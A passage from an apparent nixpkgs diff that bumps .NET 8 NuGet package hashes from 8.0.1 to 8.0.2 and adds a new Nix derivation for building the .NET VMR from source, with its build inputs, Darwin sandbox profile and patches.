"8.0.1"; sha256 = "0llmj8pj98mgfcazazz1arrq5ccpy35ycp955bl4f1di5422rkyv"; }) - (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.1"; sha256 = "1xnwgdn8vxxq73krbzd495i2cznyg01jss1495l39z0s79f78ybl"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm"; version = "8.0.1"; sha256 = "1g55w5xa1z8x4cqgn5dvxm3c40lczdsp4xnlwm6czx7iyy7i81mn"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64"; version = "8.0.1"; sha256 = "04rbyl6qxidw2nc3bfmzny7988f2x9ngsxprn7vsi7xlsf8wkqc5"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64"; version = "8.0.1"; sha256 = "1w0w9da4q14icj815c7divmwrslbh7hxmksvyfjck4hyy4q4c6d0"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-arm"; version = "8.0.1"; sha256 = "0f2zndr6rdb3v443hd5i9dgn0r6668595gvpff6lm1pnyhsv41rg"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64"; version = "8.0.1"; sha256 = "0j4grr62s5gm98rxw77qxkjiy7281sfixw4n8f0r43152ml57qab"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-x64"; version = "8.0.1"; sha256 = "0zpsfwygc8azdm1qyh6ry9rfwxlzgd0s2g31zi28xfwzkliwyykv"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.osx-x64"; version = "8.0.1"; sha256 = "0swxakdpwc4d5fjlxpl0awlkjijldcyvp9hwx0a8kvvjrbydm357"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64"; version = "8.0.1"; sha256 = "0jd2ndgci5i745n0h70l6kyh5ayd4kvmankmxqxshcfyfqijh8yd"; }) - (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler"; version = "8.0.1"; sha256 = "05n7p13vc49v4gvrgfkswi7ycnfvcwaww4y28xz9dnd9qj2y2b50"; }) - (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler"; version = "8.0.1"; sha256 = "1nl4bpr1ba2iqf2y1w3da2cynrwxdb1yghwgm8ix3sd72vmpwfxr"; }) - (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler"; version = "8.0.1"; sha256 = "08n4pnasxsd2qgq5izib8simzspcwsldcsbjgxjb9291ipzwsd3z"; }) - (fetchNuGet { pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler"; version = "8.0.1"; sha256 = "0mky32k6kv2iy14c89xbznyrr33ni616s85z40ny43j5w9scxh04"; }) - (fetchNuGet { pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler"; version = "8.0.1"; sha256 = "08x0vcpnhakaqifhg556dslr3s33mgplnxphhnm90dnfvyb6mqjq"; }) - (fetchNuGet { pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler"; version = "8.0.1"; sha256 = "1qf7ws0a5ny805pxmpzrp751p5p18h46r6lfi4p7h2rlw9p32ys0"; }) - (fetchNuGet { pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler"; version = "8.0.1"; sha256 = "01h77hc9b5q8dhr19r3dxs1m76zhk9x4wz0wzkqz4j98p1g5bffa"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-arm"; version = "8.0.2"; sha256 = "06s21b9k4niwb2qlrz4faccfmqyxfv08vzd85izla3zjxmqv3jxb"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64"; version = "8.0.2"; sha256 = "1bxsrlsyvia4v3fswxl9pnf9107zwf1n1hlwffyxs0kd5iq7jabr"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"; version = "8.0.2"; sha256 = "14yysn896flzsisnc3bhfc98slj2xg3f5jr39m62w2p54km0jcrj"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64"; version = "8.0.2"; sha256 = "1486lnpn9al764f4q9p2xry38qrk1127m62j5n8ikcx8iazrbkqm"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-x64"; version = "8.0.2"; sha256 = "0fh2lvjrl41r1r4q3v9mylr16arb190x4xs0m5nsg6qak93y6pip"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.osx-x64"; version = "8.0.2"; sha256 = "0ihhhsypb0f8lffl5lbm4nw0l9cwcv6dgylxbgvs10yfpvpix8av"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.win-arm64"; version = "8.0.2"; sha256 = "1pfwb7j3gg62z10k799w2hr8yqmiv9gjvqzw6g72navzk322901s"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.win-x64"; version = "8.0.2"; sha256 = "0anifybcb7yipazd0qsiz6g1kj7liw6qz3lmqhkw3ipbr0zip0vv"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.win-x86"; version = "8.0.2"; sha256 = "0ag84bb4p9w41njyf7yh5h2wgz49qgx1xzhb6q4ls0m03mknp2g6"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Ref"; version = "8.0.2"; sha256 = "1iv12b2pdngn9pzd9cx0n7v3q6dsw8c38vx1ypd6fb27qqwrdrr6"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm"; version = "8.0.2"; sha256 = "1a0zy0sfd4k7pwwk7fkgyd4vph91nfbxhjzvha96ravdh8isxngx"; }) + (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64"; version = "8.0.2"; sha256 = "0xfwnqbbzg1xb6zxlms5v1dj3jh46lh6vzfjbqxj55fj87qr73yi"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-arm"; version = "8.0.2"; sha256 = "1217mw4mw978f2d84h0vf0bbzl55kp8z1n4620rphqh6l4r1gr52"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-arm64"; version = "8.0.2"; sha256 = "1pi4s9sn64cyvarba1vgb17k92ank7q95xmn7dz9zb1z9n6v19hm"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-musl-arm64"; version = "8.0.2"; sha256 = "13ckd4w7ysa5ay5wmklsnws7hhzw6nnlblhcda7r11m0fjfly6lr"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-musl-x64"; version = "8.0.2"; sha256 = "0vy2r79sgr6p665943rb44d1m5xv8m6h96rqlr03g6ipk1gzz6xw"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-x64"; version = "8.0.2"; sha256 = "1kbdpqfq64h3dy2mj90sfi2pjks77fmp74fqkvps35fh3lacb3dq"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.osx-x64"; version = "8.0.2"; sha256 = "1xlnlp4ckqn0myl5pzsqhmpall1pnbmqhb62rr7m61dy83xhvm6l"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.win-arm64"; version = "8.0.2"; sha256 = "131kgy0787a38zmb3y002yr1lrnkfc4mk2xmh8jx5pqkl7bp5p67"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.win-x64"; version = "8.0.2"; sha256 = "1p7152v1wyhrxh1mqq29bm06xcfilzngr89cl8kxv5lcars3yc00"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.win-x86"; version = "8.0.2"; sha256 = "0yyix9cypm53b0q6zfw5bqbm18x2s54ns7a1w7apxfzs8cckjfp7"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-arm"; version = "8.0.2"; sha256 = "0j31y9qwcm76zsxbid52zn4350sbq489pa7znmkzdrxgbcn19dmq"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-arm64"; version = "8.0.2"; sha256 = "1g2n69s8sa9ik9jhkc6xcdjcvghwr5m9glbxr1f22dbj6nw433c4"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64"; version = "8.0.2"; sha256 = "0h148hmzrplhw2cx9yd2jmrw6ilpc9ys98w6jcaphzb7n184y374"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64"; version = "8.0.2"; sha256 = "1xcfs5yxsxis9hx1dkp5bkhgl0n95ja2ibwwnxmg2agc8134y935"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-x64"; version = "8.0.2"; sha256 = "0zvivfiz8lja1k6vcmwswh4lz6ch8x0nlap3x35psfw3p7j51163"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.osx-x64"; version = "8.0.2"; sha256 = "0x3fsfkv2gcilhsj31pjgg2vfibq2xvqhprw3hpm4gig4c2qi4fg"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.win-arm64"; version = "8.0.2"; sha256 = "1w6bads6vyiikbfds95zpw91qmb87a20my67c5pri3q6qqwcny6d"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.win-x64"; version = "8.0.2"; sha256 = "1cfd2bq41y3m86528hxlh3cj975rvhj8gigalfxaw5jsv8hw6cdm"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.win-x86"; version = "8.0.2"; sha256 = "0s92zdr0midkjk5xip0l3s8md7gcfh4dz81pqz2p7wwhcm29k1hq"; }) + (fetchNuGet { pname = "Microsoft.NETCore.DotNetAppHost"; version = "8.0.2"; sha256 = "0c99m8sh056wkk7h3f9bj8l67dxwzwnmz0ix398ff1w1pdpiabcm"; }) + (fetchNuGet { pname = "Microsoft.NETCore.DotNetHost"; version = "8.0.2"; sha256 = "13l2xa4fxnm6i6kpjwr173hyd61s2ks7sjzp2ah3l1n71wds3vag"; }) + (fetchNuGet { pname = "Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.2"; sha256 = "16qhn61di7gz5a68sc2rg5y2y4293rsbks4rvplyjr68scnba4hb"; }) + (fetchNuGet { pname = "Microsoft.NETCore.DotNetHostResolver"; version = "8.0.2"; sha256 = "0mz7h7silzjgf6p4f0qk8izvjf0dlppvxjf44f381kkamm6viiqd"; }) + (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost"; version = "8.0.2"; sha256 = "0bvivl9ffgpsq4rbv8n8ivw9jr8yykbsp8r77n23xjm5vz8fcaks"; }) + (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHost"; version = "8.0.2"; sha256 = "1k6vv7mpa81pjx1v8wd8d7ns3wr3ydql1ihx59s6cfg8fx18j5w9"; }) + (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.2"; sha256 = "05480dq2mzzfvk9whlz16lq0rs2kzy55d905cl832df6j36yzy9w"; }) + (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.2"; sha256 = "1gm5yrbyh6h09lsr7izbg7izqiq3nwf7cx4y12hwk63544hprh2j"; }) + (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost"; version = "8.0.2"; sha256 = "0wqdx4h3isn1la8wbm8mvip0ai3fspvr8q2g2hx04lylpilcwnfy"; }) + (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHost"; version = "8.0.2"; sha256 = "16l4dzmqsjnppl8ra3dz3062na1324zqpibcb9kk6aliayzkwjmp"; }) + (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.2"; sha256 = "0qzqbpwa79qizj7yzmmk2kr1ibwdg0m104rp2ava2qp8c9mxx1lq"; }) + (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.2"; sha256 = "10k85lqnczpdnzw43ylkma0iv1wxzqv9x4pfr31zwfb5z5p3m7ja"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost"; version = "8.0.2"; sha256 = "0yd9vf8z1p264411p4y2aka4dnzhjvi7zhxc9dy6yfjwndlqfz03"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHost"; version = "8.0.2"; sha256 = "1vhi86iwln4pv2k0v6xfx5rp2vk5l6l4p399rj63wmm928n3v2la"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.2"; sha256 = "0i7l7zw99nfq1s43d4cyhs9p5bx719x0q1fmlkp8am4mwga554kf"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.2"; sha256 = "1ny0hjyip2n9mv0iiv2rpikb3apk4cjhvcdi17xn6vf3m79xxbwi"; }) + (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost"; version = "8.0.2"; sha256 = "0cllix46qh7lxihkaaxhb3islwn8vqn5lkr4c8c3bynvyblskjvw"; }) + (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHost"; version = "8.0.2"; sha256 = "1f20gw4sq0s8idysdbpgrdh5l8ik3lry0i3nq60km9z9n183svxd"; }) + (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.2"; sha256 = "0c31vfab355bi27wlz18azpyir9y89nn8dcg43j074whc469q0vx"; }) + (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.2"; sha256 = "1xmy68m6vslqbl4njllgqscdslqj7xgkgjzpx4pq344mxh6r9agc"; }) + (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost"; version = "8.0.2"; sha256 = "0s93dmisai8wgjid697rgdx3lw2a0s0krr1gcnaav8jz9dg9i8lc"; }) + (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHost"; version = "8.0.2"; sha256 = "0ikwfn1q8jkvzyx77b8ycm7k7004j2w8zgjzkf8kgyw55gy8xfjm"; }) + (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.2"; sha256 = "0gcwjjaw1lajqmwaji0x03w24721dczgnqrzqjw5ayjh8ib3dir2"; }) + (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.2"; sha256 = "1i6wijgpksz81hg01c2pwi06k413x6vni4x8v3y38jyazg7qkfp0"; }) + (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost"; version = "8.0.2"; sha256 = "0hsby9ssa974cqkcc29xrjrrqmxyhfkkssmmhrrimh46n7sxzqab"; }) + (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHost"; version = "8.0.2"; sha256 = "0vwlfcpvbjhw0qmqnscnin75a5lb5llhzjizcp3nh5mjnkdghd8q"; }) + (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.2"; sha256 = "00kv6ijg6yway8km36yj7jq9y1p87iw8b8ysga66qv05y4fvjch1"; }) + (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.2"; sha256 = "05dz9mxc94y59y6ja05zamdp63qfdss831816y28kjjw4v4crz1q"; }) + (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost"; version = "8.0.2"; sha256 = "0qbm5zgvcwmmqlcj4jaixbw4a1zzyrf8ap81nlqjfdxp03bv9zqa"; }) + (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHost"; version = "8.0.2"; sha256 = "1jsnxh1hgy7jrjhbz4kf6gq2x3smfx071cb2w1fa3a740h3i0f4m"; }) + (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.2"; sha256 = "1738mc91wy3yn2bf4srs2wxksd864hm565nmll396q6gw97a4df4"; }) + (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.2"; sha256 = "152jc4v2zxcax55vmd9xrsxq76q4cqpjlgrd1mfszipnngrlrc71"; }) + (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost"; version = "8.0.2"; sha256 = "1z9fa5ryi23sn163j7jry45f64rxqkgv7v91r04b9cpb4hc1qgym"; }) + (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetHost"; version = "8.0.2"; sha256 = "14qz0ypylcwldyjn1ins8syjzbqpmfsy4nfkzri12mfn0626qmn2"; }) + (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.2"; sha256 = "136ss58j9wpxp6sj81mijlk32l2f6h81rvaq4l7x0s8wb9fzzbb5"; }) + (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.2"; sha256 = "02562zc9nrkfwikzff7km6mixxb1qf632r60jpzykizgx6w0nrck"; }) + (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost"; version = "8.0.2"; sha256 = "1sylbjvrr1jnlgd1215czr3xql2gdqy5h5sz7rnfq31hb1j5nc20"; }) + (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetHost"; version = "8.0.2"; sha256 = "0ia1igli2r5gnli0r0yzqm012l56zrjf1jk42viahlil2ic3i144"; }) + (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.2"; sha256 = "0h1kydv3dxnd9s32fd68x44jhc2pm79gv44mb7jf4227lr1dcxss"; }) + (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.2"; sha256 = "1njywfwlq2785yk4b0114nzdb33zsgsmqj5fhpr6ii1crym649hl"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-musl-arm"; version = "8.0.2"; sha256 = "16lp15z1msadrhiqlwwp0ni9k0slp3am05gqs5bagzwk35mcn27q"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.osx-arm64"; version = "8.0.2"; sha256 = "1v8nngksh0cp51g221bizz52jjpc4rzm1avcy5psl81ywmkwmj93"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm"; version = "8.0.2"; sha256 = "142s1ricyk351nqg298w5qlzd4scz8pc66x5mw9qh75vcyxsr83f"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.osx-arm64"; version = "8.0.2"; sha256 = "116rkq5ri5dbhp5g7zyc71ml2v92vb5bw5f3nx96llb1pqk74grh"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Ref"; version = "8.0.2"; sha256 = "1c2n7cfc7b6sjgk84hxppv57sh1n4dy49cmdd16ki1l6yl2f3j9d"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm"; version = "8.0.2"; sha256 = "0c6v2mdfshy5966fl2pfkfhgfs8y1sd0r47lfx7d4igy933dqfga"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm64"; version = "8.0.2"; sha256 = "1g8asdz9f3i0mjyh1mkxzfc6x8x77z0d88fa6irpyhh0w45qfccw"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.linux-musl-x64"; version = "8.0.2"; sha256 = "14djb55i8nwsr3170b82lr89dqxjghnkkghxxy2sl4d2bxw0bsfa"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.linux-x64"; version = "8.0.2"; sha256 = "0h0cc31c1izakpx554kivjqw3s5030a9zy3q4a2apwyj16znv2cw"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.osx-arm64"; version = "8.0.2"; sha256 = "18599d4y8n4y0w489pg7zm4nd4a23iz4zwx317pr5z57b4wrk61k"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.osx-x64"; version = "8.0.2"; sha256 = "04wvf035rr5kw6bj46ici8353lx5k95slydpm42kv1fcy3slqb4p"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.win-x64"; version = "8.0.2"; sha256 = "1adxkh9y3y9cxisrn52c75dmzgfkbnz9aqs2p97ln9qdxxvhzhc2"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.win-x86"; version = "8.0.2"; sha256 = "0721kp5l7k25ivi2sdxx12kjpddas5l6y5qjmfw8pjcyximhqn0b"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetAppHost"; version = "8.0.2"; sha256 = "1kkjmyhrnghihhfvm3qjrkrjbml2nqv8vyslj0g79pjanaqv3prs"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHost"; version = "8.0.2"; sha256 = "1j5qhbgy9d1d89xcgdyjcnww0ziad846nd6x5l8fa109z8wvsnki"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.2"; sha256 = "12n0m0rbxp05ggrkxa9yr6kn46pnn3pc4c22p6kkv5ijyg8nhd74"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.2"; sha256 = "1mhwggjfpwssyzxl2mj3j9017xc8qwnw4xlm2rn96yfgsd1pxfpv"; }) + (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost"; version = "8.0.2"; sha256 = "1nvis5p0gvymv6sdrmgpgg94sr2w3maskm0c3d8p861wfiwwh0hv"; }) + (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHost"; version = "8.0.2"; sha256 = "1vjrnga6inham84hggkx1kkpx4yn7v7z1xnwxas9lisxd0ych7k1"; }) + (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = "8.0.2"; sha256 = "0rrblgydpz3yf5gj9kpjc8b17x739nzr1956pwwyarhvh9y0vqrd"; }) + (fetchNuGet { pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "8.0.2"; sha256 = "0xpsaxi54g0xac80gy5nv7qk5b513ak1s397b36vwg7mivwc4yhh"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm"; version = "8.0.2"; sha256 = "1nm6ibys303xlawqibqygpg1gqc8wm1nxb6pl6vgwmp5w4q02r5h"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-arm64"; version = "8.0.2"; sha256 = "0h6wwlz3mqb8758laczcaq7a0wmnmjf797dh5xwyiq50j1ss1mhw"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64"; version = "8.0.2"; sha256 = "09id8hnx0s4x5qvmvifb6jhkfaxzj53yvhl84pvrr4wv4p6ns7cm"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-arm"; version = "8.0.2"; sha256 = "0cg7b57fysgw809m77nb9dqr56g48ya6bjlh7x880ih5b76bnlak"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64"; version = "8.0.2"; sha256 = "1rqr95ix3khc7mbaji520l2vv8vjbrg8zzpv6h1i3p3rdbzjm3l2"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-x64"; version = "8.0.2"; sha256 = "0kzvyghyj95p2qxidp1g8nx5d9qd7wlchpg1a5dqbpv9skljdn7m"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.osx-x64"; version = "8.0.2"; sha256 = "0hmk25bvlpn3sfx4vlvysj2myx4dd8fc2pv3gmhfgb2y01dnswjh"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64"; version = "8.0.2"; sha256 = "1z76l5mpvik3517lcl3qygsfsws4yp37j37sslb4sq7gls4aa0w2"; }) + (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.DotNet.ILCompiler"; version = "8.0.2"; sha256 = "1kjlc67bqz7d04ga42l7jm9d3jm773a9i77zc5w7cd591wa8vbbv"; }) + (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.DotNet.ILCompiler"; version = "8.0.2"; sha256 = "0bx7jv4q8dapx6fb6dbk1im057qmk43isvzygp5ci6nd07p419qf"; }) + (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.DotNet.ILCompiler"; version = "8.0.2"; sha256 = "1nf6m85f10j5qcyk0w18qxd06n79w0jvnifis08shdsq1isz403z"; }) + (fetchNuGet { pname = "runtime.linux-x64.Microsoft.DotNet.ILCompiler"; version = "8.0.2"; sha256 = "0pl0w114qrlb8bv6d4jw1gv29dz2cs86y3r0nj5z2fxd1r30khym"; }) + (fetchNuGet { pname = "runtime.osx-x64.Microsoft.DotNet.ILCompiler"; version = "8.0.2"; sha256 = "05bs32vhcvpd1dbvmk1rgqm2swp4gn5yv4mwfsisa4q5qi2xlaza"; }) + (fetchNuGet { pname = "runtime.win-arm64.Microsoft.DotNet.ILCompiler"; version = "8.0.2"; sha256 = "12q0adp0hakl9qrf4bqzkvfsy4az55im6sm1nv7g3k5q4vwkqh30"; }) + (fetchNuGet { pname = "runtime.win-x64.Microsoft.DotNet.ILCompiler"; version = "8.0.2"; sha256 = "1k1iwpsranma2mrljfz9yr63pxbv5l9j4n0zmancbsxlhx31m30s"; }) + (fetchNuGet { pname = "Microsoft.NET.ILLink.Tasks"; version = "8.0.2"; sha256 = "1fd7ws4qf0354np3lvd735p5r1mdj3zy6gbmv5fzz5cx2bdlplwy"; }) ]; }; } diff --git a/pkgs/development/compilers/dotnet/vmr.nix b/pkgs/development/compilers/dotnet/vmr.nix new file mode 100644 index 0000000000000..36b75c40e6c8b --- /dev/null +++ b/pkgs/development/compilers/dotnet/vmr.nix @@ -0,0 +1,332 @@ +{ clangStdenv +, stdenvNoCC +, lib +, fetchurl +, fetchFromGitHub +, dotnetCorePackages +, jq +, curl +, git +, cmake +, pkg-config +, llvm +, zlib +, icu +, lttng-ust_2_12 +, libkrb5 +, glibcLocales +, ensureNewerSourcesForZipFilesHook +, darwin +, xcbuild +, swiftPackages +, openssl +, getconf +, makeWrapper +, python3 +, xmlstarlet +, callPackage + +, dotnetSdk +, releaseManifestFile +, tarballHash +}: + +let + stdenv = if clangStdenv.isDarwin + then swiftPackages.stdenv + else clangStdenv; + + inherit (stdenv) + isLinux + isDarwin + buildPlatform + targetPlatform; + inherit (darwin) cctools; + inherit (swiftPackages) apple_sdk swift; + + releaseManifest = lib.importJSON releaseManifestFile; + inherit (releaseManifest) release sourceRepository tag; + + buildRid = dotnetCorePackages.systemToDotnetRid buildPlatform.system; + targetRid = dotnetCorePackages.systemToDotnetRid targetPlatform.system; + targetArch = lib.elemAt (lib.splitString "-" targetRid) 1; + + sigtool = callPackage ./sigtool.nix {}; + + # we need dwarfdump from cctools, but can't have e.g. 'ar' overriding stdenv + dwarfdump = stdenvNoCC.mkDerivation { + name = "dwarfdump-wrapper"; + dontUnpack = true; + installPhase = '' + mkdir -p "$out/bin" + ln -s "${cctools}/bin/dwarfdump" "$out/bin" + ''; + }; + + _icu = if isDarwin then darwin.ICU else icu; + +in stdenv.mkDerivation rec { + pname = "dotnet-vmr"; + version = release; + + # TODO: fix this in the binary sdk packages + preHook = lib.optionalString stdenv.isDarwin '' + addToSearchPath DYLD_LIBRARY_PATH "${_icu}/lib" + export DYLD_LIBRARY_PATH + ''; + + src = fetchurl { + url = "${sourceRepository}/archive/refs/tags/${tag}.tar.gz"; + hash = tarballHash; + }; + + nativeBuildInputs = [ + ensureNewerSourcesForZipFilesHook + jq + curl.bin + git + cmake + pkg-config + python3 + xmlstarlet + ] + ++ lib.optionals isDarwin [ + getconf + ]; + + buildInputs = [ + # this gets copied into the tree, but we still want the hooks to run + dotnetSdk + # the propagated build inputs in llvm.dev break swift compilation + llvm.out + zlib + _icu + openssl + ] + ++ lib.optionals isLinux [ + libkrb5 + lttng-ust_2_12 + ] + ++ lib.optionals isDarwin (with apple_sdk.frameworks; [ + xcbuild.xcrun + swift + (libkrb5.overrideAttrs (old: { + # the propagated build inputs break swift compilation + buildInputs = old.buildInputs ++ old.propagatedBuildInputs; + propagatedBuildInputs = []; + })) + dwarfdump + sigtool + Foundation + CoreFoundation + CryptoKit + System + ]); + + # This is required to fix the error: + # > CSSM_ModuleLoad(): One or more parameters passed to a function were not valid. + # The error occurs during + # AppleCryptoNative_X509ImportCollection -> ReadX509 -> SecItemImport + # while importing trustedroots/codesignctl.pem. This happens during any dotnet + # restore operation. + # Enabling com.apple.system.opendirectoryd.membership causes swiftc to use + # /var/folders for its default cache path, so the swiftc -module-cache-path + # patch below is required. + sandboxProfile = '' + (allow file-read* (subpath "/private/var/db/mds/system")) + (allow mach-lookup (global-name "com.apple.SecurityServer") + (global-name "com.apple.system.opendirectoryd.membership")) + ''; + + patches = [ + ./fix-aspnetcore-portable-build.patch + ./fix-tmp-path.patch + ] + ++ lib.optionals isDarwin [ + ./stop-passing-bare-sdk-arg-to-swiftc.patch + ]; + + postPatch = '' + # set the sdk version in global.json to match the bootstrap sdk + jq 